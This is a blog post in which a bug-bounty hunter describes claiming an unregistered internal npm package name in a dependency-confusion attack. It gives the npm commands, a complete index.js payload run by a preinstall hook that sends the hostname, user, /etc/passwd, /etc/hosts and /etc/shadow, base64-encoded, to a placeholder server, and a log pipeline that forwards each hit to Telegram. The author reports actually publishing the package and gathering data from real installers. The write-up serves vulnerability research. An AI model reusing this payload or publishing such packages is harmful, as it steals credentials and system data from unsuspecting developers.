RCE via Dependency Confusion: A Real-World Attack on Unclaimed npm Packages

ABDELKARIM MOUCHQUELITA
5 min readNov 5, 2024

--

Hacking Servers Through Misconfigured Node.js Packages

السلام عليكم و رحمة الله اللهم انصر اخواننا في غزه

Hi folks pray for our brothers in gaza,

This is me back again with a new scenario that i faced,

Before i would say don’t underestimate yourself when it comes to learning something new. I once came across an article on this topic a year ago, but I didn’t try to understand it because I thought it was beyond me. Recently, I gave it another look, and to my surprise, it was far easier and less complicated than I had expected. Sometimes, all it takes is a fresh attempt to realize just how capable you really are.

Let’s dig in,Dependency confusion is a vulnerability that allows attackers to hijack internal package dependencies by publishing similarly named packages in a public repository. When unclaimed private packages are inadvertently fetched from public repositories, it can lead to serious security risks like remote code execution (RCE) and data leaks.

speciall thanks for Alex Birsan about his awesome articles that explaining this vulnerability as simple as possible. READ More Dependency Confusion

In a recent experiment, I observed how an unclaimed dependency could compromise an entire application’s security, leading to potential RCE and data exfiltration on unsuspecting client machines. This article dives into the techniques and methods behind this vulnerability and how organizations can prevent it.

let me explain more Imagine you’re developing a Python project and decide to split your code into different classes, eventually creating a custom library for mathematical functions. Let’s say you name this library calc-me and keep it stored locally on your machine, using it exclusively within your project. However, if calc-me is not reserved on the public Python Package Index (PyPI), someone else could create and publish a package with the same name, calc-me, to the public registry.

If your project is set up to search both local and public repositories for dependencies, it could mistakenly download this public version instead of your local one, especially if the public version has a higher version number. This is the core of the “dependency confusion” vulnerability, where public packages can unintentionally override local or private ones.

but in our case i faced same thing but in node.js module, i was digging in github of redacted program and i found package.json file which contains informations about modules that used by that application i found package named noderedactedsdk which i check in npmjs offecial website that wasn’t claimed in public

https://www.npmjs.com/package/noderedactedsdk

so this module not claimed, let’s cook it using npm-cli,

mkdir noderedactedsdk; cd noderedactedsdk
npm login #then login using your email and password
npm init #then fill up the input which the first one is name of module in this case it's noderedactedsdk, also version keep it higher than the one that was in package.jsonbash

by default the package.json works with index.js

which we gonna make to contain a malicious actions in same folder we gonna create index.js contains:

const { exec } = require("child_process");
const command = `
curl -X POST "http://yourserver.com/noderedactedsdk/$(whoami)/$(hostname)/" \
-A "$( (cat /etc/passwd /etc/hosts && id && { [ -r /etc/shadow ] && cat /etc/shadow || echo 'No shadow access'; } | base64 | tr '\\n' '.')" \
-s -o /dev/null
`;
exec(command, (error, stdout, stderr) => {
if (error) {
console.error(error.message);
return;
}
if (stderr) {
console.log(stderr);
}
console.log(stdout);
});

Save the code. This payload will execute when the package is installed, sending system information to your server.

we have to add line in package.json to execute index.js directly after installing

the final result of package.json:

{"name": "noderedacteddk",
"version": "5.0.0",
"description": "Nodejs SDK for Redacted",
"main": "index.js",
"scripts": {
"test": "echo \"Error: no test specified\" && exit 1",
"preinstall": "node index.js"
},
"author": "",
"license": "ISC",
"dependencies": {
"noderedacteddk": "¹.0.2"}}

let’s publish by executing in same folder:

npm publish

then npm will confirm that your package has been published. It’s now available for anyone to install from the npm registry.

Once the package is published, any user or system attempting to install or update noderedactedsdk could unknowingly download the malicious version from the public npm registry.

the malicious version, which is in index.js, contains a command that collects sensitive information from the host machine, including the hostname, user ID, and contents of important system files like /etc/hosts and /etc/passwd. The command encodes this data in base64 and sends it via a POST request to an external server controlled by me. This stealthy exfiltration technique allows me to gather critical information from any system that installs or updates this compromised package, potentially leading to further exploitation.

i can gain reverse shell to but for ethical reasons i did’t cause this is a clients or developers machines not a server of redacted.com

On my server, i setuped logging to capture requests from clients installing the package. using this command in background:

stdbuf -oL tail -f /var/log/apache2/access.log | grep - line-buffered "POST" | while read -r line
do
echo "$line" | notify -silent -id mchklt >/dev/null
done

When someone installs this package, I receive his machine informations directly on my Telegram.

i report it and they response fast but with duplicate state :(

anyway allhamdulillah next time inshallah it will be in accepted state as well as you have to know that things comes in there time just keep diging trying and all it gonna be good .

follow me X , Linkedin

--

--